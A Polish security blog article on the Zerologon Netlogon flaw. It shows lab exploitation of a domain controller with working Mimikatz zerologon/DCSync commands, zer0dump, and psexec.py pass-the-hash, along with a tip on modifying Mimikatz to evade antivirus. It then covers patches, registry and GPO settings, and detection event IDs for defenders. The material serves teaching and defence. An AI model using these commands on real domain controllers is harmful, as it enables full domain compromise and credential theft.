W poprzednim artykule rozpisywaliśmy się na temat słynnej podatności Zerologon.
W dzisiejszym skupimy się bardziej na technicznych aspektach tej podatności – pokażemy jej użycie z perspektywy zespołów RedTeam oraz BlueTeam, czyli jak ją wykrywać, łatać i hakować.

Jeśli nie czytałeś naszego poprzedniego artykułu, to w żołnierskim skrócie wyjaśniamy, że błąd Zerologon dotyczy środowiska Microsoft, a konkretnie podatności Netlogon, którą można wykorzystać, aby łatwo przejąć serwery Windows działające jako kontrolery domeny w sieciach korporacyjnych. Jeśli firma nie zabezpieczy się przed tego typu błędem może łatwo paść ofiarą ataku hackerskiego, oprogramowania ransomware. Skutki takiego ataku mogą być katastrofalne – „GAME OVER” dla funkcjonowania firmy.


Jak hakerzy mogą przeprowadzić exploitację ZeroLogon?

Eksploity ZeroLogon jakie znajdziemy w Internecie w większości koncentrują się na możliwości zmiany haseł Active Directory dla kont komputerów i wykorzystania ich do ustanowienia przyczółku w sieci. Jeśli atakowanym komputerem jest kontrolerem domeny, wówczas cyberprzestępca zdobywa przyczółek z najwyższymi uprawnieniami w domenie Active Directory. Tym samym prowadzi to do całkowitej kompromitacji domeny i zdobycia uprawnień Administratora.
Istnieje też druga, ciekawa metoda wykorzystująca słynny błąd usługi print Spooler’a uruchomionej na kontrolerach domeny oraz błąd ZeroLogon. W tej metodzie nie potrzebne jest resetowanie hasła kontrolera domeny. Więcej informacji znajdziecie tutaj.

Większość z przeanalizowanego przez nas dostępnego kodu exploitów działa wysyłając żądanie uwierzytelnienia z wieloma bajtami zerowymi do kanału netlogon, po którym następuje wyzerowany zaszyfrowany tekst i flagi wzywające do uwierzytelnienia. Poniżej przykład kodu:

Atak działa na każde 1 na 256 prób uwierzytelnienia, dlatego wymagane jest minimum 256 prób uwierzytelnienia, aby uzyskać skuteczne wywołanie exploita.


Jak wygląda atak Zerologon?

Po krótkim wprowadzeniu możemy przejść do samych exploit’ów. Zademonstrujemy dwa exploity i scenariusze ataku. Pierwszy na komputerze Windows drugi na komputerze z Linux znajdującym się poza domeną Active Directory.

UWAGA! Przeprowadzenie poniższych ataków na systemy produkcyjne spowoduje przerwanie replikacji pomiędzy kontrolerami domeny. Dlatego należy go przeprowadzać TYLKO w środowisku laboratoryjnym, które kontrolujesz lub masz możliwość przywrócenia w nim zmian.

Testy trzeba wykonać z rozwaga, ponieważ exploit resetuje hasło kontrolera domeny, co przyczynia się do późniejszych problemów z jego replikacja z pozostałymi kontrolerami.


Scenariusz 1 – exploitacja Zerologon w Active Directory z użyciem Mimikatz na komputerze z Windows


W naszym pierwszym scenariuszu PoC użyjemy narzędzia Mimikatz do kompromitacji środowiska Active Directory – zdobędziemy poświadczenia administratora domeny. Sama eksploitacja jest w nim banalnie prosta. O narzędziu Mimikatz pisaliśmy dużo na Kapitanie Hack’u, łącznie z pokazywaniem przykładów hack’owania (patrz kampania Cyber Kill Chain)

Mimikatz’a można załadować do pamięci lub uruchomić na wiele sposobów. Oficjalna, skompilowana wersja narzędzia, dostępna do pobrania z Internetu tutaj. Jest ona oczywiście wykrywalna przez większość z oprogramowań antywirusowych. Autor Benjamin Delpy udostępnia kod źródłowy narzędzia, zatem możecie pokombinować i go pozmieniać – gwarantujemy lepsze wyniki niewykrywalności (patrz jakie – artykuł tutaj).

Ważną informacją jest, że do przeprowadzenia ataku możemy użyć zwykłego konta użytkownika!

W celu pobrania skrótu hasła (ntlm hash) dowolnego użytkownika w Active Directory mimikatz wykorzystuje kombinację funkcji exploit’a ZeroLogon do zmiany hasła kontrolera domeny na puste oraz modułu DCSync do pobrania hasła.
Cały atak podzielony jest na dwa kroki.


Krok 1. Zmiana hasła kontrolera domeny

Przed wykonaniem ataku możemy łatwo sprawdzić, że nasz użytkownik „KapitanHack.pl” nie ma wymaganych uprawnień do pobrania skrótu hasła użytkownika „Administrator” nawet wykorzystując poświadczenia kontrolera domeny (podając puste hasło i nazwę konta DC$). Jest to logiczne, ponieważ kontroler domeny posiada inne, domyślne i nieznane przez nas hasło.

lsadump::dcsync /domain:kapitan.hack /dc:dc.kapitan.hack /user:administrator /authuser:dc$ /authdomain:KAPITAN /authpassword:”” /authntlm

W odpowiedzi dostajemy wyjątek – błąd dostępu.

Nie mamy się czym przejmować, bo cały myk polega na tym, że używając exploita ZeroLogon Mimikatz zmieni hasło podatnego kontrolera na puste. Dzięki temu będziemy mogli wykonać poprawnie powyższą komendę (wykonamy to w kroku nr 2).

Uruchamiając poniższą komendę w Mimikatz:

lsadump::zerologon /target:dc.kapitan.hack /account:dc$

sprawdzimy, czy nasz kontroler domeny „dc.kapitan.hack” jest podatny na atak ZeroLogon.

Widzimy na powyższym ekranie, że nasz kontroler jest podatny.

Teraz do pełni szczęścia potrzebujemy zmienić hasło na puste wykonując jeszcze raz to samo polecenie, lecz na końcu dodając przełącznik „/exploit”

lsadump::zerologon /target:dc.kapitan.hack /account:dc$ /exploit


Krok 2. Pobranie NTLM Hash dowolnego użytkownika

Ostatnią rzeczą jaką musimy wykonać to ponowne uruchomienie pierwszej komendy z kroku nr 1. Sprawdzimy tym samym, czy Mimikatz za pomocą ZeroLogon zmienił poprawnie hasło na puste dla naszego kontrolera domeny.

lsadump::dcsync /domain:kapitan.hack /dc:dc.kapitan.hack /user:administrator /authuser:dc$ /authdomain:KAPITAN /authpassword:”” /authntlm

Na powyższym zrzucie ekranu widzimy pobrany poprzez DCSync hash NTLM hasła użytkownika Administrator. Podobnie moglibyśmy pobrać hash dla konta serwisowego Kerberos (krbtgt) lub dowolnego innego.
Dalej już tylko możemy wykonać atak Pass-The-Hash, Golden Ticket lub inne ataki opisane w kampanii Cyber Kill CHAIN.

Jako ciekawostkę dodamy, że autor Mimikatz’a dodał także do modułu lsadump nową funkcję o nazwie „postzerologon” umożliwiającą zmianę hasła kontrolera domeny (tożsama funkcja z wykonaniem polecenia „netdom resetpwd”).


Scenariusz 2 – exploitacja Zerologon w Active Directory z użyciem skryptu w Python na komputerze z Linux


Drugi scenariusz będzie nieco bardziej skomplikowany, ponieważ atakować będziemy z komputera Linux znajdującego się w tej samej sieci, co podatny kontroler domeny (w naszym scenariuszu o nazwie DC).
Do eksploitacji wykorzystamy skrypt w Python napisany przez Eliasa Griffith’a o nazwie Zer0dump

W celu uruchomienia skryptu musimy najpierw odpowiednio przygotować maszynę atakującego i wyposażyć ją w narzędzie Impacket oraz zainstalować wszystkie inne wymagane narzędzia do jego użycia. Oczywiście musimy też posiadać zainstalowanego Python’a (wersja 3).

Narzędzie Impacket to zbiór klas Pythona do pracy z protokołami sieciowym (np.SMB1-3 i MSRPC) i dzięki niemu będziemy mogli wykorzystać nasz exploit do komunikacji z komputerami Windows.

Poniżej zamieszczamy komendy, które pozwolą nam zainstalować Impacket:

git clone https://github.com/SecureAuthCorp/impacket

cd impacket && python3 -m pip install

Następnie musimy pobrać nasz exploit zer0dupm i go zainstalować:

git clone https://github.com/bb00/zer0dump

cd zer0dump && sudo pip install -r requirements.txt

Od tego momentu możemy użyć exploit do ataku na nasz podatny kontroler domeny, wykonując następującą komendę:

python3 zer0dump.py 172.16.215.100

Jak widać musimy znać jedynie adres IP kontrolera domeny – jakie to proste!

Skrypt wykona kilka prób logowania i jeśli atak się powiedzie, zwróci skrót hasła Administratora domeny, który możemy wykorzystać podczas dalszych ataków wykorzystujących zdobyty hash lub spróbować złamać hasło w narzędziu Hashcat.

Jako przykład dalszego ataku, pokażemy jak zdalnie można wywołać dowolną komendę na kontrolerze domeny używając napisane w Python narzędzie psexec.py (odpowiednik narzędzia z Sysinternals dla Windows).
Poniższe polecenie pozwoli uruchomić na kontrolerze domeny o adresie IP 172.16.215.100 na poświadczeniach użytkownika „administrator” (oraz przechwyconym hashu hasła) polecenie „ipconfig” i zwróci wynik na Linux:

python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42 [email protected] ipconfig


Inne exploity ZeroLogon


Na podstawie powyższych dwóch scenariuszy widzimy jak atak ZeroLogon jest prosty do przeprowadzenia i zarazem przeraźliwy, jeśli nie posiadamy odpowiednio zabezpieczonej sieci.

W Internecie znaleźliśmy jeszcze około 16 innych exploit’ów, którymi mogliśmy przeprowadzić atak!

Postanowiliśmy ich już nie pokazywać. Wymieniamy te najciekawsze:


Jak załatać problem Zerologon na kontrolerach domeny?


Po pierwsze, załatanie problemu wymaga kilku kroków. Niepokojące jest, że nie ma jeszcze pełnego rozwiązania tego problemu, co sprawia, że jest to trochę bardziej niebezpieczne zagrożenie niż średnia luka w zabezpieczeniach CVSS 10.0.
Należy pamiętać, że ZeroLogon dotyczy wszystkich wersji Windows Server:

  • Windows Server 2019
  • Windows Server 2016
  • Windows Server 2012 R2
  • Windows Server 2012
  • Windows Server 2008 R2
  • Windows Server 2008
  • Windows Server 2003 R2
  • Windows Server 2003

Środki zaradcze polegają na:

1.
Zainstalowaniu aktualizacji na wszystkich kontrolerach domeny i kontrolerach RODC, monitorowaniu nowych zdarzeń w logach i monitorowaniu nowych/nieznanych urządzeń, które korzystają z podatnych na zagrożenia połączeń wykorzystujących Netlogon. Musimy także monitorować konta komputerów i urządzenia np. Linux (przykład w scenariuszu 2 powyżej), które próbują się komunikować z Active Directory po niezabezpieczonym protokole Netlogon. W tym przypadku musimy pozwolić takim urządzeniom/komputerom korzystać jedynie z zabezpieczonego kanału Netlogon, aby obsługiwały bezpieczne RPC dla usługi Netlogon, co w wielu środowiskach korporacyjnych może nie być takie proste do skonfigurowania (np. zmiana kodu w aplikacjach).

2.
Zastosowaniu poprawki firmy Microsoft z 11 sierpnia 2020 r. Pełną listę numerów KB dla każdego systemu operacyjnego można znaleźć tutaj. Jeśli nie masz pewności, czy zaktualizowałeś poprawnie komputery możesz sprawdzić wpisując polecenie “wmic qfe | find „KB456349”“, które wyświetli listę wszystkich zainstalowanych łatek i wyszuka określony numer KB poprawki.

3.
Ponadto 9 lutego 2021 r. MS opublikuje aktualizacje, które włączą tryb wymuszania DC. Aby obejść ten problem, istnieje zasada grupy (ustawienie w GPO), którą można ustawić w połączeniu z kluczem rejestru, aby tymczasowo rozwiązać problem:
Poniższe ustawienia pojawią się po wgraniu poprawki Microsoft (oczywiście zalecamy ich wcześniejsze przetestowanie w środowisku korporacyjnym).
Ścieżka do ustawienia: Konfiguracja komputera-> Ustawienia systemu Windows-> Ustawienia zabezpieczeń->Lokalne polisy-> Opcje zabezpieczeń Nazwa ustawienia: Kontroler domeny: Zezwalaj na wrażliwe połączenia bezpiecznych kanałów Netlogon.

Należy zauważyć, że firma Microsoft ostrzega, że „Ustawienie powinno być stosowane jako środek tymczasowy w przypadku urządzeń/komputerów z innym systemem operacyjnym po wgraniu aktualizacji

4.
Skonfigurować/dodać następujący klucz w rejestrze systemowym:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ Netlogon\Parameters\FullSecureChannelProtection

Wpisując:

  • Wartość „1” – Włącza tryb wymuszania ustawienia z GPO z kroku 3. Kontrolery domeny będą odrzucać wrażliwe połączenia bezpiecznych kanałów Netlogon, chyba że konto jest dozwolone na liście Utwórz połączenie narażone na atak w zasadzie grupy „Kontroler domeny: zezwalaj na podatne połączenia bezpiecznych kanałów Netlogon”.
  • Wartość „0” – kontrolery domeny pozwolą na bezpieczne połączenia Netlogon z bezpiecznymi kanałami z urządzeń innych niż Windows. Ta opcja zostanie wycofana w fazie egzekwowania.

lub wykonując poniższe polecenie:
REG add “HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters” /v FullSecureChannelProtection /t REG_DWORD /d 1 / f

Oprócz dodania obejść, firma Microsoft zamieściła również wskazówki dotyczące określonych identyfikatorów zdarzeń, które należy monitorować pod kątem podejrzanych działań w infrastrukturze pod kątem błędów. Można je znaleźć pod tym adresem.


Jak wykryć atak Zerologon w Active Directory w firmie?


Jak pokazaliśmy w naszych dwóch scenariuszach powyżej atak Zerologon jest niezwykle łatwy do wykonania. Okno czasowe, w którym działa exploit wynosi 1 na 256, zatem możliwe jest pisanie zapytań uwierzytelnienia (prób logowania) w celu monitorowania anomalnej aktywności, aby potencjalnie wykryć próby exploitów zanim będzie za późno lub w przypadkach, w których nastąpiła eksploatacja wykrywanie podejrzanej aktywności w dziennikach zdarzeń Microsoft (logi Security).

Istnieje wiele narzędzi do monitorowania bezpieczeństwa, w tym również darmowe. Monitorowanie może się odbywać na podstawie logów dostarczanych z systemów oraz sieciowo (odpowiednia inspekcja pakietów). Oczywiście zalecamy te, które są wysoko wyspecjalizowane w wykrywaniu tego typu ataków. Wiele firm używa rozwiązania SIEM do monitorowania zdarzeń lecz nie do końca SIEM może się też tutaj sprawdzić zważywszy na to, że nie zawsze możemy otrzymać konkretne logi ze środowiska. Pisaliśmy o tym tutaj

Jeśli zaś przy monitorowaniu ataków na Microsoft chcemy polegać tylko i wyłącznie na logach Microsoft, to poniższe identyfikatory zdarzeń zarówno z eventlog Microsoft jak i Sysmon (pisaliśmy ostatnio o najnowszym Sysmon 12) powinny być monitorowane w różnych narzędziach do bezpieczeństwa:

  • log Security eventID 4742 – konto komputera zostało zmienione, a konkretnie akcja mogła zostać wykonana przez zdarzenie anonimowego logowania,
  • log Security eventID 5805 – konto komputera nie zostało uwierzytelnione, co jest zwykle spowodowane przez wiele wystąpień tej samej nazwy komputera lub nazwa komputera nie została zreplikowana na każdym kontrolerze domeny,
  • log Security eventID 4624 – udane logowanie do maszyny, w szczególności kod zdarzenia 4624, po którym następuje kod zdarzenia 4724, jest wyzwalane, gdy luka jest wykorzystywana na komputerach,
  • Sysmon eventID 3 – zdarzenie połączenia sieciowego rejestruje połączenia TCP/UDP na komputerze. Przychodzące połączenie sieciowe jest nawiązywane z atakującej maszyny do kontrolera domeny ofiary do procesu LSASS, gdy wystąpi zdarzenie Zerologon,
  • Sysmon eventID 1 i 13 – EventID 1 odpowiada za tworzenie procesów (ProcessCreate). Dostaniemy listę uruchamianych aplikacji oraz komend. EventID 13 odpowiada za zmiany w rejestrze. Niektóre exploity (np. Invoke-ZeroLogon) tworzą specjalne wpisy w rejestrze,
  • EventID 3210 – błędy w NETLOGON. Zwłaszcza jeśli komputer jest w parze replikacji. Jeśli komputer został skompromitowany i zostało zmienione jego hasło, dziennik zdarzeń będzie zawierał te zdarzenia,
  • Security eventID 4662 – dotyczy ataku DCSync, który pokazaliśmy w scenariuszu za pomocą Mimikatz. Jeśli zostanie zarejestrowane zdarzenie z dowolnym z trzech poniżej wymienionych identyfikatorów GUID dla odpowiadających im użytych uprawnieniach (wykorzystywane są przez atak DCSync):
    • Rozszerzone uprawnienie „DS-Replication-Get-Changes”: CN: DS-Replication-Get-Changes, identyfikator GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
    • Rozszerzone uprawnienie „Replicating Directory Changes All” CN: DS-Replication-Get-Changes-All, Identyfikator GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
    • Rozszerzone uprawnienie „Replicating Directory Changes In Filtered Set” CN: DS-Replication-Get-Changes-In-Filtered-Set, GUID: 89e95b76-444d-4c62-991a-0facbeda640c

Podsumowanie

Najnowsza podatność systemu Microsoft Active Directory o nazwie ZeroLogon podobnie jak podatność EternalBlue dla protokołu SMBv1 wykorzystywana przez ransomware NotPetya w 2017 roku pokazały, że środowiska informatyczne w firmach są cały czas narażone na poważne ataki i warto zainwestować w najlepsze rozwiązania do bezpieczeństwa w celu zapewnienia należytej ochrony.
Czy ZeroLogon spowoduje podobne spustoszenie w firmach jak NotPetya w 2017roku? – tego jeszcze nie wiemy, ale możemy się wcześniej przed tym uchronić i uświadomić Dział Bezpieczeństwa oraz IT w firmie jak działa podatność, jak się przed nią chronić i jak wykrywać ten atak. Jeśli odpowiednio się nie zabezpieczymy, a funkcjonalność exploita trafi jako dodatkowy moduł do współczesnego ransomware, to może on spowodować duże spustoszenie w środowiskach korporacyjnych podobne do tych jakie miały miejsce w 2017r.

ZeroLogon zmienia zasady ataków, gdyż jest to tak prosty exploit i atak, a ma bardzo szkodliwe konsekwencje. Działy IT powinny jak najszybciej załatać problem. Należy zachować ostrożność podczas testów exploitacji w środowisku produkcyjnym, ponieważ można nimi popsuć replikację w domenie i bez kopii zapasowej hasła komputera naprawa nie jest przyjemna!

Artykuł sponsorowany przez Veracomp – Exclusive Networks Poland SA i Tenable – właściciela oprogramowania Tenable.ad.

Podziel się z innymi tym artykułem!